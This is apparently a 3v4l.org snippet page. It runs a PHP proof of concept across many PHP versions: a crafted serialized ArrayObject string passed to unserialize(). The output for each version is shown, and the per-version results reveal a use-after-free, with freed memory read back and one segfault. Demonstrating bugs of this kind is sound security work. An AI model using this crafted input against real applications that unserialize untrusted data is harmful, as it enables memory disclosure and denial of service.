3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $inner = 'x:i:1234;a:0:{};m:a:0:{}'; $exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);
Output for 5.4.44 - 5.4.45, 5.5.28 - 5.5.35, 5.6.12 - 7.2.0
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> int(1234) }
Output for 5.5.24 - 5.5.27, 5.6.7 - 5.6.11
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> string(3) "hi2" }
Output for 5.4.2 - 5.4.43
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> string(3) "hi3" }
Output for 5.3.19 - 5.3.29
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> array(5) { [0]=> string(3) "hi0" [1]=> string(3) "hi1" [2]=> string(3) "hi2" [3]=> string(3) "hi3" [4]=> string(3) "hi4" } }
Output for 5.3.18
array(2) { [0]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } [1]=> array(5) { [0]=> string(3) "hi0" [1]=> string(3) "hi1" [2]=> string(3) "hi2" [3]=> string(3) "hi3" [4]=> string(3) "hi4" } }
Process exited with code 139.